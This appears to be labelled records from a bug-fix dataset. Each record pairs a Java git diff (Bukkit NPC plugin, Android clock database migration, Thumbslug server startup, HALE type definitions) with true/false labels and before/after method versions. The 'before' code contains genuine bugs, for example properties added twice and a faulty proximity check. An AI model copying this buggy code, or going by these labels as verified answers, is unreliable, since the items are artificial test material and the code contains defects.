diff --git a/src/net/loadingchunks/plugins/Leeroy/Types/BasicNPC.java b/src/net/loadingchunks/plugins/Leeroy/Types/BasicNPC.java index 2dadcc9..d79ee53 100644 --- a/src/net/loadingchunks/plugins/Leeroy/Types/BasicNPC.java +++ b/src/net/loadingchunks/plugins/Leeroy/Types/BasicNPC.java @@ -1,139 +1,139 @@ package net.loadingchunks.plugins.Leeroy.Types; import net.loadingchunks.plugins.Leeroy.Leeroy; import org.bukkit.Location; import org.bukkit.entity.Entity; import org.bukkit.entity.Monster; import org.bukkit.entity.Player; import org.bukkit.event.entity.EntityCombustByEntityEvent; import org.bukkit.event.entity.EntityDamageByEntityEvent; import org.bukkit.event.entity.EntityTargetEvent; import org.bukkit.metadata.FixedMetadataValue; import org.bukkit.metadata.MetadataValue; import com.topcat.npclib.NPCManager; import com.topcat.npclib.entity.HumanNPC; import com.topcat.npclib.entity.NPC; import com.topcat.npclib.nms.NpcEntityTargetEvent; import com.topcat.npclib.nms.NpcEntityTargetEvent.NpcTargetReason; /* When adding new NPC: * Add handling to LeeroyNPCHandler.java * Add handling of events in LeeroyNPCListener.java */ public class BasicNPC { public NPCManager manager; public String name; public HumanNPC npc; public Leeroy plugin; public String message1 = ""; public String message2 = ""; public String message3 = ""; public String message4 = ""; public Location original; public BasicNPC(Leeroy plugin, String name, Location l, String id, String msg1, String msg2, String msg3, String msg4, boolean isnew, String world, String hrtype, String type) { this.plugin = plugin; this.original = l; this.manager = new NPCManager(plugin); this.name = name; this.npc = (HumanNPC)manager.spawnHumanNPC(name, l); FixedMetadataValue meta = new FixedMetadataValue(this.plugin, type); FixedMetadataValue hash = new FixedMetadataValue(this.plugin, id); this.npc.getBukkitEntity().setMetadata("leeroy_type", meta); this.npc.getBukkitEntity().setMetadata("leeroy_id", hash); if(isnew) this.plugin.sql.AddNPC(id, name, hrtype, l, world); - this.npc.lookAtPoint(l); + this.npc.moveTo(l); this.message1 = msg1; this.message2 = msg2; this.message3 = msg3; this.message4 = msg4; this.SetBroadcast(this.message4); } public void SetBroadcast(final String msg) { // Doesn't do anything in basic. } public void onTarget(Player player, NpcEntityTargetEvent event) { if(event.getNpcReason() == NpcTargetReason.NPC_RIGHTCLICKED) this.onRightClick(player, event); else if(event.getNpcReason() == NpcTargetReason.NPC_BOUNCED) this.onBounce(player, event); } public void onRightClick(Player player, NpcEntityTargetEvent event) { // Doesn't do anything in basic. } public void onBounce(Player player, EntityTargetEvent event) { // Doesn't do anything in basic. } public void onNear(Player player) { // Doesn't do anything in basic. } public void onHit(Entity assailant, EntityDamageByEntityEvent event) { if(event.getDamager() instanceof Player) this.onPlayer((Player)event.getDamager(), event); else if(event.getDamager() instanceof Monster) this.onMonster((Monster)event.getDamager(), event); } public void onPlayer(Player player, EntityDamageByEntityEvent event) { // Doesn't do anything in basic. } public void onMonster(Monster monster, EntityDamageByEntityEvent event) { // Doesn't do anything in basic. } public void broadcast(String msg) { if(msg == null || msg.isEmpty()) return; HumanNPC tmp = this.npc; for(Entity e : tmp.getBukkitEntity().getNearbyEntities(10,5,10)) { if(e instanceof Player) { String fmsg; Player p = (Player)e; fmsg = msg.replaceAll("<player>", p.getDisplayName()); fmsg = fmsg.replaceAll("<npc>", npc.getName()); p.sendMessage(fmsg); } } } public boolean IsNearby(Location e, Location l, Integer r, Integer h) { if( ((l.getX() + r) > e.getX() && (l.getX() - r) < e.getX()) && ((l.getY() + h) > e.getY() && (l.getY() - h) < e.getY()) && ((l.getZ() + r) > e.getY() && (l.getY() - r) < e.getY())) { return true; } else return false; } }
true
true
public BasicNPC(Leeroy plugin, String name, Location l, String id, String msg1, String msg2, String msg3, String msg4, boolean isnew, String world, String hrtype, String type) { this.plugin = plugin; this.original = l; this.manager = new NPCManager(plugin); this.name = name; this.npc = (HumanNPC)manager.spawnHumanNPC(name, l); FixedMetadataValue meta = new FixedMetadataValue(this.plugin, type); FixedMetadataValue hash = new FixedMetadataValue(this.plugin, id); this.npc.getBukkitEntity().setMetadata("leeroy_type", meta); this.npc.getBukkitEntity().setMetadata("leeroy_id", hash); if(isnew) this.plugin.sql.AddNPC(id, name, hrtype, l, world); this.npc.lookAtPoint(l); this.message1 = msg1; this.message2 = msg2; this.message3 = msg3; this.message4 = msg4; this.SetBroadcast(this.message4); }
public BasicNPC(Leeroy plugin, String name, Location l, String id, String msg1, String msg2, String msg3, String msg4, boolean isnew, String world, String hrtype, String type) { this.plugin = plugin; this.original = l; this.manager = new NPCManager(plugin); this.name = name; this.npc = (HumanNPC)manager.spawnHumanNPC(name, l); FixedMetadataValue meta = new FixedMetadataValue(this.plugin, type); FixedMetadataValue hash = new FixedMetadataValue(this.plugin, id); this.npc.getBukkitEntity().setMetadata("leeroy_type", meta); this.npc.getBukkitEntity().setMetadata("leeroy_id", hash); if(isnew) this.plugin.sql.AddNPC(id, name, hrtype, l, world); this.npc.moveTo(l); this.message1 = msg1; this.message2 = msg2; this.message3 = msg3; this.message4 = msg4; this.SetBroadcast(this.message4); }
diff --git a/src/com/android/deskclock/provider/ClockDatabaseHelper.java b/src/com/android/deskclock/provider/ClockDatabaseHelper.java index 1216cf912..7d32fa0c3 100644 --- a/src/com/android/deskclock/provider/ClockDatabaseHelper.java +++ b/src/com/android/deskclock/provider/ClockDatabaseHelper.java @@ -1,237 +1,237 @@ /* * Copyright (C) 2013 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.android.deskclock.provider; import android.content.ContentResolver; import android.content.ContentValues; import android.content.Context; import android.database.Cursor; import android.database.SQLException; import android.database.sqlite.SQLiteDatabase; import android.database.sqlite.SQLiteOpenHelper; import android.net.Uri; import com.android.deskclock.Log; import com.android.deskclock.alarms.AlarmStateManager; import java.util.Calendar; /** * Helper class for opening the database from multiple providers. Also provides * some common functionality. */ class ClockDatabaseHelper extends SQLiteOpenHelper { /** * Original Clock Database. **/ private static final int VERSION_5 = 5; /** * Introduce: * Added alarm_instances table * Added selected_cities table * Added DELETE_AFTER_USE column to alarms table */ private static final int VERSION_6 = 6; /** * Added alarm settings to instance table. */ private static final int VERSION_7 = 7; // This creates a default alarm at 8:30 for every Mon,Tue,Wed,Thu,Fri private static final String DEFAULT_ALARM_1 = "(8, 30, 31, 0, 0, '', NULL, 0);"; // This creates a default alarm at 9:30 for every Sat,Sun private static final String DEFAULT_ALARM_2 = "(9, 00, 96, 0, 0, '', NULL, 0);"; // Database and table names static final String DATABASE_NAME = "alarms.db"; static final String OLD_ALARMS_TABLE_NAME = "alarms"; static final String ALARMS_TABLE_NAME = "alarm_templates"; static final String INSTANCES_TABLE_NAME = "alarm_instances"; static final String CITIES_TABLE_NAME = "selected_cities"; private static void createAlarmsTable(SQLiteDatabase db) { db.execSQL("CREATE TABLE " + ALARMS_TABLE_NAME + " (" + ClockContract.AlarmsColumns._ID + " INTEGER PRIMARY KEY," + ClockContract.AlarmsColumns.HOUR + " INTEGER NOT NULL, " + ClockContract.AlarmsColumns.MINUTES + " INTEGER NOT NULL, " + ClockContract.AlarmsColumns.DAYS_OF_WEEK + " INTEGER NOT NULL, " + ClockContract.AlarmsColumns.ENABLED + " INTEGER NOT NULL, " + ClockContract.AlarmsColumns.VIBRATE + " INTEGER NOT NULL, " + ClockContract.AlarmsColumns.LABEL + " TEXT NOT NULL, " + ClockContract.AlarmsColumns.RINGTONE + " TEXT, " + ClockContract.AlarmsColumns.DELETE_AFTER_USE + " INTEGER NOT NULL DEFAULT 0);"); Log.i("Alarms Table created"); } private static void createInstanceTable(SQLiteDatabase db) { db.execSQL("CREATE TABLE " + INSTANCES_TABLE_NAME + " (" + ClockContract.InstancesColumns._ID + " INTEGER PRIMARY KEY," + ClockContract.InstancesColumns.YEAR + " INTEGER NOT NULL, " + ClockContract.InstancesColumns.MONTH + " INTEGER NOT NULL, " + ClockContract.InstancesColumns.DAY + " INTEGER NOT NULL, " + ClockContract.InstancesColumns.HOUR + " INTEGER NOT NULL, " + ClockContract.InstancesColumns.MINUTES + " INTEGER NOT NULL, " + ClockContract.InstancesColumns.VIBRATE + " INTEGER NOT NULL, " + ClockContract.InstancesColumns.LABEL + " TEXT NOT NULL, " + ClockContract.InstancesColumns.RINGTONE + " TEXT, " + ClockContract.InstancesColumns.ALARM_STATE + " INTEGER NOT NULL, " + ClockContract.InstancesColumns.ALARM_ID + " INTEGER REFERENCES " + ALARMS_TABLE_NAME + "(" + ClockContract.AlarmsColumns._ID + ") " + "ON UPDATE CASCADE ON DELETE CASCADE" + ");"); Log.i("Instance table created"); } private static void createCitiesTable(SQLiteDatabase db) { db.execSQL("CREATE TABLE " + CITIES_TABLE_NAME + " (" + ClockContract.CitiesColumns.CITY_ID + " TEXT PRIMARY KEY," + ClockContract.CitiesColumns.CITY_NAME + " TEXT NOT NULL, " + ClockContract.CitiesColumns.TIMEZONE_NAME + " TEXT NOT NULL, " + ClockContract.CitiesColumns.TIMEZONE_OFFSET + " INTEGER NOT NULL);"); Log.i("Cities table created"); } private Context mContext; public ClockDatabaseHelper(Context context) { super(context, DATABASE_NAME, null, VERSION_7); mContext = context; } @Override public void onCreate(SQLiteDatabase db) { createAlarmsTable(db); createInstanceTable(db); createCitiesTable(db); // insert default alarms Log.i("Inserting default alarms"); String cs = ", "; //comma and space String insertMe = "INSERT INTO " + ALARMS_TABLE_NAME + " (" + ClockContract.AlarmsColumns.HOUR + cs + ClockContract.AlarmsColumns.MINUTES + cs + ClockContract.AlarmsColumns.DAYS_OF_WEEK + cs + ClockContract.AlarmsColumns.ENABLED + cs + ClockContract.AlarmsColumns.VIBRATE + cs + ClockContract.AlarmsColumns.LABEL + cs + ClockContract.AlarmsColumns.RINGTONE + cs + ClockContract.AlarmsColumns.DELETE_AFTER_USE + ") VALUES "; db.execSQL(insertMe + DEFAULT_ALARM_1); db.execSQL(insertMe + DEFAULT_ALARM_2); } @Override public void onUpgrade(SQLiteDatabase db, int oldVersion, int currentVersion) { if (Log.LOGV) { Log.v("Upgrading alarms database from version " + oldVersion + " to " + currentVersion); } if (oldVersion <= VERSION_6) { // These were not used in DB_VERSION_6, so we can just drop them. - db.execSQL("DROP TABLE " + INSTANCES_TABLE_NAME + ";"); - db.execSQL("DROP TABLE " + CITIES_TABLE_NAME + ";"); + db.execSQL("DROP TABLE IF EXISTS " + INSTANCES_TABLE_NAME + ";"); + db.execSQL("DROP TABLE IF EXISTS " + CITIES_TABLE_NAME + ";"); // Create new alarms table and copy over the data createAlarmsTable(db); createInstanceTable(db); createCitiesTable(db); Log.i("Copying old alarms to new table"); String[] OLD_TABLE_COLUMNS = { "_id", "hour", "minutes", "daysofweek", "enabled", "vibrate", "message", "alert", }; Cursor cursor = db.query(OLD_ALARMS_TABLE_NAME, OLD_TABLE_COLUMNS, null, null, null, null, null); Calendar currentTime = Calendar.getInstance(); while (cursor.moveToNext()) { Alarm alarm = new Alarm(); alarm.id = cursor.getLong(0); alarm.hour = cursor.getInt(1); alarm.minutes = cursor.getInt(2); alarm.daysOfWeek = new DaysOfWeek(cursor.getInt(3)); alarm.enabled = cursor.getInt(4) == 1; alarm.vibrate = cursor.getInt(5) == 1; alarm.label = cursor.getString(6); String alertString = cursor.getString(7); if ("silent".equals(alertString)) { alarm.alert = Alarm.NO_RINGTONE_URI; } else { alarm.alert = alertString.isEmpty() ? null : Uri.parse(alertString); } // Save new version of alarm and create alarminstance for it db.insert(ALARMS_TABLE_NAME, null, Alarm.createContentValues(alarm)); if (alarm.enabled) { AlarmInstance newInstance = alarm.createInstanceAfter(currentTime); db.insert(INSTANCES_TABLE_NAME, null, AlarmInstance.createContentValues(newInstance)); } } cursor.close(); Log.i("Dropping old alarm table"); - db.execSQL("DROP TABLE " + OLD_ALARMS_TABLE_NAME + ";"); + db.execSQL("DROP TABLE IF EXISTS " + OLD_ALARMS_TABLE_NAME + ";"); } } long fixAlarmInsert(ContentValues values) { // Why are we doing this? Is this not a programming bug if we try to // insert an already used id? SQLiteDatabase db = getWritableDatabase(); db.beginTransaction(); long rowId = -1; try { // Check if we are trying to re-use an existing id. Object value = values.get(ClockContract.AlarmsColumns._ID); if (value != null) { long id = (Long) value; if (id > -1) { final Cursor cursor = db.query(ALARMS_TABLE_NAME, new String[]{ClockContract.AlarmsColumns._ID}, ClockContract.AlarmsColumns._ID + " = ?", new String[]{id + ""}, null, null, null); if (cursor.moveToFirst()) { // Record exists. Remove the id so sqlite can generate a new one. values.putNull(ClockContract.AlarmsColumns._ID); } } } rowId = db.insert(ALARMS_TABLE_NAME, ClockContract.AlarmsColumns.RINGTONE, values); db.setTransactionSuccessful(); } finally { db.endTransaction(); } if (rowId < 0) { throw new SQLException("Failed to insert row"); } if (Log.LOGV) Log.v("Added alarm rowId = " + rowId); return rowId; } }
false
true
public void onUpgrade(SQLiteDatabase db, int oldVersion, int currentVersion) { if (Log.LOGV) { Log.v("Upgrading alarms database from version " + oldVersion + " to " + currentVersion); } if (oldVersion <= VERSION_6) { // These were not used in DB_VERSION_6, so we can just drop them. db.execSQL("DROP TABLE " + INSTANCES_TABLE_NAME + ";"); db.execSQL("DROP TABLE " + CITIES_TABLE_NAME + ";"); // Create new alarms table and copy over the data createAlarmsTable(db); createInstanceTable(db); createCitiesTable(db); Log.i("Copying old alarms to new table"); String[] OLD_TABLE_COLUMNS = { "_id", "hour", "minutes", "daysofweek", "enabled", "vibrate", "message", "alert", }; Cursor cursor = db.query(OLD_ALARMS_TABLE_NAME, OLD_TABLE_COLUMNS, null, null, null, null, null); Calendar currentTime = Calendar.getInstance(); while (cursor.moveToNext()) { Alarm alarm = new Alarm(); alarm.id = cursor.getLong(0); alarm.hour = cursor.getInt(1); alarm.minutes = cursor.getInt(2); alarm.daysOfWeek = new DaysOfWeek(cursor.getInt(3)); alarm.enabled = cursor.getInt(4) == 1; alarm.vibrate = cursor.getInt(5) == 1; alarm.label = cursor.getString(6); String alertString = cursor.getString(7); if ("silent".equals(alertString)) { alarm.alert = Alarm.NO_RINGTONE_URI; } else { alarm.alert = alertString.isEmpty() ? null : Uri.parse(alertString); } // Save new version of alarm and create alarminstance for it db.insert(ALARMS_TABLE_NAME, null, Alarm.createContentValues(alarm)); if (alarm.enabled) { AlarmInstance newInstance = alarm.createInstanceAfter(currentTime); db.insert(INSTANCES_TABLE_NAME, null, AlarmInstance.createContentValues(newInstance)); } } cursor.close(); Log.i("Dropping old alarm table"); db.execSQL("DROP TABLE " + OLD_ALARMS_TABLE_NAME + ";"); } }
public void onUpgrade(SQLiteDatabase db, int oldVersion, int currentVersion) { if (Log.LOGV) { Log.v("Upgrading alarms database from version " + oldVersion + " to " + currentVersion); } if (oldVersion <= VERSION_6) { // These were not used in DB_VERSION_6, so we can just drop them. db.execSQL("DROP TABLE IF EXISTS " + INSTANCES_TABLE_NAME + ";"); db.execSQL("DROP TABLE IF EXISTS " + CITIES_TABLE_NAME + ";"); // Create new alarms table and copy over the data createAlarmsTable(db); createInstanceTable(db); createCitiesTable(db); Log.i("Copying old alarms to new table"); String[] OLD_TABLE_COLUMNS = { "_id", "hour", "minutes", "daysofweek", "enabled", "vibrate", "message", "alert", }; Cursor cursor = db.query(OLD_ALARMS_TABLE_NAME, OLD_TABLE_COLUMNS, null, null, null, null, null); Calendar currentTime = Calendar.getInstance(); while (cursor.moveToNext()) { Alarm alarm = new Alarm(); alarm.id = cursor.getLong(0); alarm.hour = cursor.getInt(1); alarm.minutes = cursor.getInt(2); alarm.daysOfWeek = new DaysOfWeek(cursor.getInt(3)); alarm.enabled = cursor.getInt(4) == 1; alarm.vibrate = cursor.getInt(5) == 1; alarm.label = cursor.getString(6); String alertString = cursor.getString(7); if ("silent".equals(alertString)) { alarm.alert = Alarm.NO_RINGTONE_URI; } else { alarm.alert = alertString.isEmpty() ? null : Uri.parse(alertString); } // Save new version of alarm and create alarminstance for it db.insert(ALARMS_TABLE_NAME, null, Alarm.createContentValues(alarm)); if (alarm.enabled) { AlarmInstance newInstance = alarm.createInstanceAfter(currentTime); db.insert(INSTANCES_TABLE_NAME, null, AlarmInstance.createContentValues(newInstance)); } } cursor.close(); Log.i("Dropping old alarm table"); db.execSQL("DROP TABLE IF EXISTS " + OLD_ALARMS_TABLE_NAME + ";"); } }
diff --git a/src/main/java/org/candlepin/thumbslug/Main.java b/src/main/java/org/candlepin/thumbslug/Main.java index 1dff3d9..620ea8a 100644 --- a/src/main/java/org/candlepin/thumbslug/Main.java +++ b/src/main/java/org/candlepin/thumbslug/Main.java @@ -1,190 +1,189 @@ /** * Copyright (c) 2011 Red Hat, Inc. * * This software is licensed to you under the GNU General Public License, * version 2 (GPLv2). There is NO WARRANTY for this software, express or * implied, including the implied warranties of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. You should have received a copy of GPLv2 * along with this software; if not, see * http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt. * * Red Hat trademarks are not licensed under GPLv2. No permission is * granted to use or replicate Red Hat trademarks that are incorporated * in this software or its documentation. */ package org.candlepin.thumbslug; import java.io.IOException; import java.net.InetSocketAddress; import java.util.concurrent.Executor; import java.util.Map.Entry; import java.util.Properties; import java.util.concurrent.Executors; import org.jboss.netty.bootstrap.ServerBootstrap; import org.jboss.netty.channel.Channel; import org.jboss.netty.channel.group.ChannelGroup; import org.jboss.netty.channel.group.ChannelGroupFuture; import org.jboss.netty.channel.group.DefaultChannelGroup; import org.jboss.netty.channel.socket.nio.NioServerSocketChannelFactory; import org.jboss.netty.handler.execution.OrderedMemoryAwareThreadPoolExecutor; import org.apache.log4j.FileAppender; import org.apache.log4j.Layout; import org.apache.log4j.Logger; import org.apache.log4j.Level; import org.candlepin.thumbslug.ssl.SslContextFactory; import org.candlepin.thumbslug.ssl.SslKeystoreException; import org.candlepin.thumbslug.ssl.SslPemException; import com.sun.akuma.Daemon; /** * Main */ public class Main { private static Logger log = Logger.getLogger(Main.class); private static final int ERROR_DAEMON_INIT = -1; private static final int ERROR_DAEMON_DAEMONIZE = -2; private static final int ERROR_CONFIGURE_SSL = -3; private static final int ERROR_NO_CONFIG = -4; // maintain a list of open channels so we can shut them down on app exit static final ChannelGroup ALL_CHANNELS = new DefaultChannelGroup("thumbslug"); private Main() { // silence checkstyle } /** * Do an initial bootstrap setup of the server SSL Context, so we can shake out any * errors early, and abort if needed. * * @param config our Config */ private static boolean configureSSL(Config config) { if (!config.getBoolean("ssl")) { return true; } try { SslContextFactory.getServerContext(config.getProperty("ssl.keystore"), config.getProperty("ssl.keystore.password"), config.getProperty("ssl.ca.keystore")); return true; } catch (SslKeystoreException e) { log.error("Unable to load the ssl keystore. " + "Check that ssl.keystore and ssl.keystore.password are set correctly.", e); return false; } catch (SslPemException e) { log.error("Unable to load the CA certificate. " + "Check that ssl.ca.keystore is set correctly.", e); return false; } } private static void configureLogging(String fileName, Properties loggingProperties) { try { Logger.getRootLogger().setLevel(Level.ALL); Layout layout = Logger.getRootLogger().getAppender("RootAppender").getLayout(); FileAppender fileAppender = new FileAppender(layout, fileName); Logger.getRootLogger().addAppender(fileAppender); } catch (Exception e) { log.error("unable to open error.log for writing!", e); // we'll just ignore this, and allow logging to happen to the cli. } for (Entry<Object, Object> entry : loggingProperties.entrySet()) { String key = (String) entry.getKey(); Logger.getLogger(key).setLevel(Level.toLevel((String) entry.getValue())); } } /** * @param args */ public static void main(String[] args) { Config config = null; try { config = new Config(); } catch (Exception e) { log.error("Unable to load config!", e); - log.warn("Shutting down..."); + log.warn("Unable to load config! Shutting down..."); System.exit(ERROR_NO_CONFIG); } configureLogging(config.getProperty("log.error"), config.getLoggingConfig()); int port = config.getInt("port"); boolean shouldDaemonize = config.getBoolean("daemonize"); Daemon daemon = new Daemon(); if (daemon.isDaemonized()) { try { daemon.init(config.getProperty("pid.file")); // XXX I am not sure if it is possible to get to this line: log.debug("Daemonized"); } catch (Exception e) { log.error("Exception caught during daemon initialization!", e); - log.warn("Shutting down..."); + log.warn("Error during daemon initialization! Shutting down..."); System.exit(ERROR_DAEMON_INIT); } } else { if (shouldDaemonize) { try { log.debug("Daemonizing.."); daemon.daemonize(); log.debug("Daemonized, exiting"); } catch (IOException e) { log.error("Unable to daemonize properly", e); System.exit(ERROR_DAEMON_DAEMONIZE); } - log.warn("Shutting down..."); System.exit(0); } } if (!configureSSL(config)) { System.exit(ERROR_CONFIGURE_SSL); } Executor executor = Executors.newCachedThreadPool(); // Configure the server. ServerBootstrap bootstrap = new ServerBootstrap( new NioServerSocketChannelFactory(executor, executor)); OrderedMemoryAwareThreadPoolExecutor eventExecutor = new OrderedMemoryAwareThreadPoolExecutor(16, 0, 0); // Set up the event pipeline factory. bootstrap.setPipelineFactory(new HttpServerPipelineFactory(config, executor, eventExecutor)); // Bind and start to accept incoming connections. Channel channel = bootstrap.bind(new InetSocketAddress(port)); log.warn("Running Thumbslug on port " + port); ALL_CHANNELS.add(channel); - //intercept shutdown signal from VM and shut-down gracefully. + // intercept shutdown signal from VM and shut-down gracefully. Runtime.getRuntime().addShutdownHook(new Thread(new Runnable() { public void run() { log.warn("Shutting down..."); ChannelGroupFuture future = ALL_CHANNELS.close(); future.awaitUninterruptibly(); } }, "shutdownHook")); } }
false
true
public static void main(String[] args) { Config config = null; try { config = new Config(); } catch (Exception e) { log.error("Unable to load config!", e); log.warn("Shutting down..."); System.exit(ERROR_NO_CONFIG); } configureLogging(config.getProperty("log.error"), config.getLoggingConfig()); int port = config.getInt("port"); boolean shouldDaemonize = config.getBoolean("daemonize"); Daemon daemon = new Daemon(); if (daemon.isDaemonized()) { try { daemon.init(config.getProperty("pid.file")); // XXX I am not sure if it is possible to get to this line: log.debug("Daemonized"); } catch (Exception e) { log.error("Exception caught during daemon initialization!", e); log.warn("Shutting down..."); System.exit(ERROR_DAEMON_INIT); } } else { if (shouldDaemonize) { try { log.debug("Daemonizing.."); daemon.daemonize(); log.debug("Daemonized, exiting"); } catch (IOException e) { log.error("Unable to daemonize properly", e); System.exit(ERROR_DAEMON_DAEMONIZE); } log.warn("Shutting down..."); System.exit(0); } } if (!configureSSL(config)) { System.exit(ERROR_CONFIGURE_SSL); } Executor executor = Executors.newCachedThreadPool(); // Configure the server. ServerBootstrap bootstrap = new ServerBootstrap( new NioServerSocketChannelFactory(executor, executor)); OrderedMemoryAwareThreadPoolExecutor eventExecutor = new OrderedMemoryAwareThreadPoolExecutor(16, 0, 0); // Set up the event pipeline factory. bootstrap.setPipelineFactory(new HttpServerPipelineFactory(config, executor, eventExecutor)); // Bind and start to accept incoming connections. Channel channel = bootstrap.bind(new InetSocketAddress(port)); log.warn("Running Thumbslug on port " + port); ALL_CHANNELS.add(channel); //intercept shutdown signal from VM and shut-down gracefully. Runtime.getRuntime().addShutdownHook(new Thread(new Runnable() { public void run() { log.warn("Shutting down..."); ChannelGroupFuture future = ALL_CHANNELS.close(); future.awaitUninterruptibly(); } }, "shutdownHook")); }
public static void main(String[] args) { Config config = null; try { config = new Config(); } catch (Exception e) { log.error("Unable to load config!", e); log.warn("Unable to load config! Shutting down..."); System.exit(ERROR_NO_CONFIG); } configureLogging(config.getProperty("log.error"), config.getLoggingConfig()); int port = config.getInt("port"); boolean shouldDaemonize = config.getBoolean("daemonize"); Daemon daemon = new Daemon(); if (daemon.isDaemonized()) { try { daemon.init(config.getProperty("pid.file")); // XXX I am not sure if it is possible to get to this line: log.debug("Daemonized"); } catch (Exception e) { log.error("Exception caught during daemon initialization!", e); log.warn("Error during daemon initialization! Shutting down..."); System.exit(ERROR_DAEMON_INIT); } } else { if (shouldDaemonize) { try { log.debug("Daemonizing.."); daemon.daemonize(); log.debug("Daemonized, exiting"); } catch (IOException e) { log.error("Unable to daemonize properly", e); System.exit(ERROR_DAEMON_DAEMONIZE); } System.exit(0); } } if (!configureSSL(config)) { System.exit(ERROR_CONFIGURE_SSL); } Executor executor = Executors.newCachedThreadPool(); // Configure the server. ServerBootstrap bootstrap = new ServerBootstrap( new NioServerSocketChannelFactory(executor, executor)); OrderedMemoryAwareThreadPoolExecutor eventExecutor = new OrderedMemoryAwareThreadPoolExecutor(16, 0, 0); // Set up the event pipeline factory. bootstrap.setPipelineFactory(new HttpServerPipelineFactory(config, executor, eventExecutor)); // Bind and start to accept incoming connections. Channel channel = bootstrap.bind(new InetSocketAddress(port)); log.warn("Running Thumbslug on port " + port); ALL_CHANNELS.add(channel); // intercept shutdown signal from VM and shut-down gracefully. Runtime.getRuntime().addShutdownHook(new Thread(new Runnable() { public void run() { log.warn("Shutting down..."); ChannelGroupFuture future = ALL_CHANNELS.close(); future.awaitUninterruptibly(); } }, "shutdownHook")); }
diff --git a/hale/eu.esdihumboldt.hale.schema/src/eu/esdihumboldt/hale/schema/model/impl/DefaultTypeDefinition.java b/hale/eu.esdihumboldt.hale.schema/src/eu/esdihumboldt/hale/schema/model/impl/DefaultTypeDefinition.java index 157928667..9b5fd3d24 100644 --- a/hale/eu.esdihumboldt.hale.schema/src/eu/esdihumboldt/hale/schema/model/impl/DefaultTypeDefinition.java +++ b/hale/eu.esdihumboldt.hale.schema/src/eu/esdihumboldt/hale/schema/model/impl/DefaultTypeDefinition.java @@ -1,220 +1,220 @@ /* * HUMBOLDT: A Framework for Data Harmonisation and Service Integration. * EU Integrated Project #030962 01.10.2006 - 30.09.2010 * * For more information on the project, please refer to the this web site: * http://www.esdi-humboldt.eu * * LICENSE: For information on the license under which this program is * available, please refer to http:/www.esdi-humboldt.eu/license.html#core * (c) the HUMBOLDT Consortium, 2007 to 2011. */ package eu.esdihumboldt.hale.schema.model.impl; import java.util.ArrayList; import java.util.Collection; import java.util.Collections; import java.util.List; import java.util.SortedSet; import java.util.TreeSet; import javax.xml.namespace.QName; import eu.esdihumboldt.hale.schema.model.Definition; import eu.esdihumboldt.hale.schema.model.PropertyDefinition; import eu.esdihumboldt.hale.schema.model.TypeConstraint; import eu.esdihumboldt.hale.schema.model.TypeDefinition; import eu.esdihumboldt.hale.schema.model.impl.internal.ReparentProperty; /** * Default {@link TypeDefinition} implementation. * @author Simon Templer */ public class DefaultTypeDefinition extends AbstractDefinition<TypeConstraint> implements TypeDefinition { /** * The definition of the super type */ private DefaultTypeDefinition superType; /** * The sub-types */ private SortedSet<DefaultTypeDefinition> subTypes; /** * The list of declared properties (list because order must be maintained for writing) */ private final List<DefaultPropertyDefinition> declaredProperties = new ArrayList<DefaultPropertyDefinition>(); /** * The inherited properties */ private List<PropertyDefinition> inheritedProperties; /** * Create a type definition with the given name * * @param name the type name */ public DefaultTypeDefinition(QName name) { super(name); } /** * @see Definition#getIdentifier() */ @Override public String getIdentifier() { return name.getNamespaceURI() + "/" + name.getLocalPart(); } /** * Add a declared property, this is called by the * {@link DefaultPropertyDefinition} constructor. * * @param property the property definition */ void addDeclaredProperty(DefaultPropertyDefinition property) { int idx = declaredProperties.indexOf(property); if (idx >= 0) { // replace declaredProperties.remove(idx); declaredProperties.add(idx, property); } else { declaredProperties.add(property); } } //XXX needed? // /** // * Removes a declared property // * // * @param property the property to remove // */ // public void removeDeclaredProperty(DefaultPropertyDefinition property) { // property.setDeclaringType(null); // declaredProperties.remove(property); // } /** * @see TypeDefinition#getDeclaredProperties() */ @Override public Collection<? extends DefaultPropertyDefinition> getDeclaredProperties() { return Collections.unmodifiableCollection(declaredProperties); } /** * @see TypeDefinition#getProperties() */ @Override public Collection<? extends PropertyDefinition> getProperties() { Collection<PropertyDefinition> properties = new ArrayList<PropertyDefinition>(); if (inheritedProperties == null) { inheritedProperties = new ArrayList<PropertyDefinition>(); // populate inherited attributes DefaultTypeDefinition parent = getSuperType(); while (parent != null) { for (PropertyDefinition parentProperty : parent.getDeclaredProperties()) { // create attribute definition copy PropertyDefinition reparent = new ReparentProperty(parentProperty, this); inheritedProperties.add(reparent); } parent = parent.getSuperType(); } } // add inherited properties properties.addAll(inheritedProperties); // add declared properties afterwards - correct order for output - properties.addAll(inheritedProperties); + properties.addAll(declaredProperties); return properties; } /** * @see TypeDefinition#getSuperType() */ @Override public DefaultTypeDefinition getSuperType() { return superType; } /** * Set the type's super type. This will add this type to the super type's * sub-type list and remove it from the previous super type (if any). * * @param superType the super-type to set */ public void setSuperType(DefaultTypeDefinition superType) { if (this.superType != null) { this.superType.removeSubType(this); } this.superType = superType; superType.addSubType(this); } /** * Remove a sub-type * * @param subtype the sub-type to remove * @see #setSuperType(DefaultTypeDefinition) */ protected void removeSubType(DefaultTypeDefinition subtype) { if (subTypes != null) { subTypes.remove(subtype); } } /** * Add a sub-type * * @param subtype the sub-type to add * @see #setSuperType(DefaultTypeDefinition) */ protected void addSubType(DefaultTypeDefinition subtype) { if (subTypes == null) { subTypes = new TreeSet<DefaultTypeDefinition>(); } subTypes.add(subtype); } /** * @see TypeDefinition#getSubTypes() */ @Override public Collection<? extends DefaultTypeDefinition> getSubTypes() { if (subTypes == null) { return Collections.emptyList(); } else { return Collections.unmodifiableCollection(subTypes); } } /** * @see TypeDefinition#getProperty(QName) */ @Override public PropertyDefinition getProperty(QName name) { //TODO improve, use index? for (PropertyDefinition property : getProperties()) { if (property.getName().equals(name)) { return property; } } return null; } }
true
true
